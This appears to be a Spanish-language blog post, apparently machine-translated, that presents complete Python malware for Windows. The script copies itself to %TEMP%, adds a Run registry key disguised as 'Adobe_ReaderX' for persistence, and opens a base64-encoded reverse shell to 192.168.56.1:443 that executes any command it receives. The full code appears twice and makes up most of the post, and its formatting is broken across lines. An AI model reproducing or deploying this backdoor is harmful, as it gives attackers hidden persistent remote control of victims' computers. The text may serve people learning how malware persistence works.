Una de las cosas más comunes que se encontrará en el malware es que desean obtener la persistencia hacia la víctima. Hay un montón de maneras de lograr la persistencia en Windows, uno de los más comunes es para modificar la clave del Registro siguiente: "Software \ Microsoft \ Windows \ CurrentVersion \ Run". A continuación se muestra una captura de pantalla rápida del código Python para copiar el programa en el directorio% TEMP% y luego hacer una modificación del registro por lo que este código se ejecutará cuando un usuario inicia sesión en el ordenador:
import sys, base64, os, socket, subprocess from _winreg import * def autorun(tempdir, fileName, run): # ejecutable para copiar en %TEMP%: os.system('copy %s %s'%(fileName, tempdir)) # Registro de Windows para las consultas de valores clave # Añade clave de ejecución automática para volver a codificar matriz key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0 while True: subkey = EnumValue(key, i) runkey.append(subkey[0]) i += 1 except WindowsError: pass # Establecer clave de ejecución automática: if 'Adobe ReaderX' not in runkey: try: key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") key.Close() except WindowsError: pass
Ahora que hemos copiado este archivo al directorio% TEMP%, y la configuración de la persistencia podemos ejecutar la siguiente parte del código, el shell inversa. Nos toca aprovechar una shell inversa en Python publicado por TrustedSec que hice una modificación - Base64 codificar el tráfico de la red:
def
shell():
#Base64 encoded reverse shell
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((
'192.168.56.1'
,
int
(
443
)))
s.send(
'[*] Connection Established!'
)
while
1
:
data
=
s.recv(
1024
)
if
data
=
=
"quit"
:
break
proc
=
subprocess.Popen(data, shell
=
True
, stdout
=
subprocess.PIPE, stderr
=
subprocess.PIPE, stdin
=
subprocess.PIPE)
stdout_value
=
proc.stdout.read()
+
proc.stderr.read()
encoded
=
base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def
main():
tempdir
=
'%TEMP%'
fileName
=
sys.argv[
0
]
run
=
"Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
shell()
if
__name__
=
=
"__main__"
:
main()
Ahora, cuando este programa se ejecuta abrirá un shell inversa de vuelta al "atacante", que en este caso es una dirección IP no modificable en el guión, pero fácilmente podría ser de dominio, o tal vez algo en la nube de Amazon.
Aquí está el código completo:
import
sys, base64, os, socket, subprocess
from
_winreg
import
*
def
autorun(tempdir, fileName, run):
#
ejecutable para copiar en %TEMP%:
os.system(
'copy %s %s'
%
(fileName, tempdir))
#
Registro de Windows para las consultas de valores clave#
Añade clave de ejecución automática para volver a codificar matriz
key
=
OpenKey(HKEY_LOCAL_MACHINE, run)
runkey
=
[]
try
:
i
=
0
while
True
:
subkey
=
EnumValue(key, i)
runkey.append(subkey[
0
])
i
+
=
1
except
WindowsError:
pass
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
if
'Adobe ReaderX'
not
in
runkey:
try
:
key
=
OpenKey(HKEY_LOCAL_MACHINE, run,
0
,KEY_ALL_ACCESS)
SetValueEx(key ,
'Adobe_ReaderX'
,
0
,REG_SZ,r
"%TEMP%\mw.exe"
)
key.Close()
except
WindowsError:
pass
def
shell():
#Base64 encoded reverse shell
s
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((
'192.168.56.1'
,
int
(
443
)))
s.send(
'[*] Connection Established!'
)
while
1
:
data
=
s.recv(
1024
)
if
data
=
=
"quit"
:
break
proc
=
subprocess.Popen(data, shell
=
True
, stdout
=
subprocess.PIPE, stderr
=
subprocess.PIPE, stdin
=
subprocess.PIPE)
stdout_value
=
proc.stdout.read()
+
proc.stderr.read()
encoded
=
base64.b64encode(stdout_value)
s.send(encoded)
#s.send(stdout_value)
s.close()
def
main():
tempdir
=
'%TEMP%'
fileName
=
sys.argv[
0
]
run
=
"Software\Microsoft\Windows\CurrentVersion\Run"
autorun(tempdir, fileName, run)
shell()
if
__name__
=
=
"__main__"
:
main()
No hay comentarios.:
Publicar un comentario